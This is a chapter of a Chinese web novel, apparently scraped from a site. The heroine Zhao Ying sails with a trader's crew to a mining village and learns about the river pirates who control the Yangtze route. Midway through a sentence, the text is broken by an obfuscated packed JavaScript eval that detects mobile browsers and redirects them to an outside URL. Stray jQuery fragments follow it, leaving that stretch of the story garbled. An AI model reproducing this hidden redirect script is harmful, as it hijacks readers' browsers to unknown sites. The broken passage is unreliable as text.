贺光的肢体语言有点不自然，他微微向远离赵瑛的方向挪动了下身体，但视线一直没离开赵瑛，甚至不经意间吞咽了几下唾液。“不远，很快就到。”


    此时江上的云层很厚，上船之前赵瑛就看到了，看这天象，估计今天会下雨。


    他看到她抓住了斗篷的帽子，把帽沿再压下一点，把自己的脸藏进帽子里，这种因为惧怕而将自己藏起来的动作带着少女特有的天真，他的几个孩子常常这么干。


    “希望不要马上下雨。”赵瑛说。


    贺光扭头不去看她，转过身摸了摸他背后那只瑟瑟发抖的羔羊，“不用怕，这些人都是雨中行船的老手。”


    抱着羊的船员开玩笑道：“小女孩，今天就让你跟你姐姐开开眼，什么是真正的驾船和水战！”


    旁边另一个男人沉声斥道：“喝大了别胡说！”


    赵瑛作出不解状：“水战，什么意思？”


    两个在争吵的男人不说话了，贺光也没有回答，手停滞在羊羔卷曲的绒毛上。


    这时，坐在前面的一个男人侧过身，轻声说：“江上行船就怕遇见水匪。”


    赵瑛这才发现，坐在她前面这个同样穿着斗篷把头裹起来的男人，竟然是昨天在首饰作坊遇到的男主人贺爻。


    “你是绿松石作坊的坊主？你怎么也在这？”


    “……”贺爻沉默了一会儿：“我也想攒一笔钱，买一匹马。”


    赵瑛道：“我们这一趟一定都能挣到钱。”


    她心里惊讶这贺光手上虽然未必干净，但某种程度上也算是个好人，有赚钱的门路他是真说，一点也不藏着掖着。


    贺爻的帽沿盖住了他的眼睛，他低低应了一声“嗯”。


    前天赵瑛离开以后，他立刻就出门去找了贺光。


    城中心的豪华府邸中，贺光正在女仆的侍奉下吃饭，贺爻进来他也没有起身迎接，只向他挥了挥手里的餐刀：“来了，吃饭了吗？炖了獐子肉。”


    贺爻把捧来的两罐稻谷放下，径直坐到贺光的对面，拿起他的酒杯一饮而尽，放下杯子后，像是鼓足了勇气说：“明天我想和你一起出船。”


    贺光做水上的生意这么久，贺爻一次都没有跟他提过要和他一起出船。


    “好。”贺光不动声色地往盘子里的獐子肉下刀，“最近辛采还好吗？”


    贺爻没有回答，而是说：“我想要钱，我有想买的东西。”


    “需要些什么，我给你买。你的愿望我总是会替你达成的，只要你开口。”贺光把切下的肉放在碟子里，递给贺爻。


    “我想买一匹经过驯养的马。”贺爻垂眸说，“我今天遇见一个从北方来的牧羊的商人，她可以从商国弄来驯马，驯马的脚程很快，有了马匹，我就能带辛采去别的城市。”


    贺光看到了贺爻脸上可疑的潮红，还有他扭捏的态度，黑眸里有丝狠辣一闪而过。他放下餐刀，语气依然如故：“你说的这个人是谁？可靠吗？”


    “可靠！”贺爻像一个跟大人解释的孩子，语速变得很快很急：“她这几天可能会来找你，我向她介绍了你，到时候你要帮她的羊羔寻一个买主。她的名字是赵瑛。”


    贺光觉得有一点厌烦，厌烦这种过分信任他人的蠢感：“随便一个外来人，你只见过他一面，你就觉得他是可靠的？贺爻，你什么时候能改改你这种容易被猎手随手杀掉的天真？你已经不是小孩子了。”


    “她只是个牧羊女。你只要见到她们两姐妹，就会知道她们就是单纯来贩卖羊羔的。”贺爻咬住下唇，“真的，我向你保证。”


    “女人？”


    贺爻的耳根有不明显的红：“嗯。”


    *


    船队靠岸的地方是一个明显落后于盘龙城很多的村庄，岸边有不少小号的渔船，想来是村里的人用这些小船到长江上捕鱼。赵瑛默记来的一路的地形地貌，在脑子里绘就了一张完整的水路陆路地形图。


    抱着羊的男人把羊羔放在贺光脚边，第一个跳下船去。他叫曾渤，整个商队他水性最好，每次都是他第一个下船把船只用缆绳栓起来。


    几条船上的人都背上竹篓跳上岸，贺光给赵瑛三个也一人发了个竹篓。


    赵真护着赵瑛跟他们一起下船，贺光领头，带着一行人向渔村深处走。


    村庄后面有一片连绵的大山，整座村落就位于大山脚下的河滩边上。她们踩着丛生的芦苇和野草，翻过沿途的乱石。贺光在前面喊：“都看清了脚底下再走，别以为走过几次就是老手了，要知道淹死的都是会水的！”


    赵瑛没有多问，只是一路观察。


    走近了发现这个村庄其实很大，人口也不少，但是这里和盘龙城完全不能比，简直还像处于石器时代，有小部分村民还穿兽皮做的衣服，而不是像城市里的平民那样穿织布做的衣服。


    前面有个船员对村民高声说：“快滚，别挡路！”那村民是个壮年男人，但他一声不吭就躲开了。


    贺光一手扛罐子，一手牵着羊，沉脸踹了吆喝的船员一脚：“我给你脸了吗，谁让你在这里吆五喝六的！”


    曾渤帮贺光一起搬罐子，他哈哈大笑道：“蠢东西。别在大人的地盘上撒野，也不看看是谁的地方！”


    船员窝着脑袋不说话了。


    沿途的村民看到他们一行人，虽然不诧异，但好像很害怕，人一走近，他们就躲开了。甚至还有很多年轻人也在，但他们只一副逆来顺受的样子，为贺光的商队让开了一条路。


    贺爻此时跟赵瑛走在一起，他拿着一支长树枝替赵瑛挑开脚边拦路的草。赵瑛问他：“这些村民都是盘龙城主府的吗？仆人，家奴？”


    “不是。”贺爻低声说：“他们躲在山里，是经常被欺负的一批人。他们不懂耕种和放牧，只会靠山吃山靠水吃水，见到来势汹汹的外来人都非常害怕。”


    赵瑛看贺爻上岸以后还一直用斗篷在遮脸，好像怕被人认出来，问他：“你来过这里？”


    “我出生在这里。”贺爻停步下来。这么多年后，眼前的景色依旧熟悉，却让他觉得不真实。“这个村子叫做大冶村，我父亲曾经是这里的村长，和这些人一样，非常软弱。”


    “后来呢？”


    “后来他死了。有一群外来人偶然来到这，发现附近的山上有绿松石，这种宝石浓郁美艳，非常受贵族们喜欢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594962|163370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    “你是说贺光的人？”


    贺爻不说话了，好像一时间视线变得涣散，他在努力寻找那个焦点。


    看他不想说的样子，赵瑛又问别的：“这座山有名字吗？”


    “没有名字。”


    “那，刚才船上说的水匪是什么来头？”


    赵瑛广撒网，终于问到了一个贺爻愿意说的问题。“水匪占据这条水路已经十来年了，以前的水匪头子叫项占，办事极其心狠手辣，他的船队专门拦截落单的船只，抢了船，把船上的女人全都掳走，男人和小孩都杀光。”贺光说。


    “项占。”赵瑛重复了一句。


    “是。没过几年，两岸的部落听到他的名字就恐慌，沿岸村落和城市的平民不敢单独在江上行船，即使船上的人都是男人，也会选择三五船只结伴在白天过江。”


    “所以贺光组建了船队？”


    “项占和盘龙城的城主有勾结。贺光替城主办事，会定期给水匪的人送钱和稻米，所以项占不会劫他的船队。”贺爻的嘴张了张，像是有什么无法企及话说不出口，帽沿底下一双好看的眼眸忽明忽暗。


    “后来项占死了，他的手下一个名叫邝重的接了他的位置。”贺爻的声音出现了波动：“这个邝重完全不做人，一点都不守信用，收了船队给的钱，但是仍旧拦我们的船，杀我们的人。”


    这样说来，如果要做青铜生意，这个水匪邝重将会成为她的心腹大患。赵瑛问：“邝重手下有多少人？”


    “他们有十几条船，至少一百多人。而且都是亡命之徒，他们连士兵都不怕。”


    赵瑛的心沉下来。


    这支水匪队伍绝对是隐患，要从矿山运铜矿石到盘龙城进行浇铸，只能靠附近相对发达的水路。想得到东亚霸权，就必须畅通这条水路，必须剿灭这支水匪。


    自己掌握行船的权利，才能打通长江中下游的水上航道。


    贺光看到赵瑛和贺爻聊得很好，心里不知怎么像被火燎了一样。


    即便知道赵瑛只是来做生意的牧羊女，但他依旧不喜欢她和贺爻走得很近。


    她又在对他说什么？


    贺爻这种单纯的人，别人随便说些什么他都会信，一时兴起就会掏心掏肺，这种漂亮的女人对他来说会是一个威胁。


    贺光抄着两个草编篓走到赵瑛边上，似乎不经意地开口：“在聊什么？”


    赵瑛的神色似乎害怕，捏着竹篓的手指有些泛白。她望着贺光问：“我们今天会遇到水匪吗？”


    “不会。”贺光走到贺爻身后，把草编框背到他背上，余光却仍在瞟着赵瑛：“就算遇到，我也会保护你们的。”


    贺爻没答话，顺从地背上背篓，听话乖顺的小媳妇模样。一个冷峻，一个腼腆，两张好看的脸实在会令人生出奇怪的联想。


    赵瑛摇摇头，让自己别瞎想浪费精力，抱紧了自己的小竹篓，里面有石斧石凿等采矿的工具。


    贺光提高声量对所有人说：“要进山了，脚下小心！”


    爬了一阵子以后，贺爻原本落后了几步，这时放下帽子脚下加快，重新走到赵瑛边上：“爬山还能适应吗？”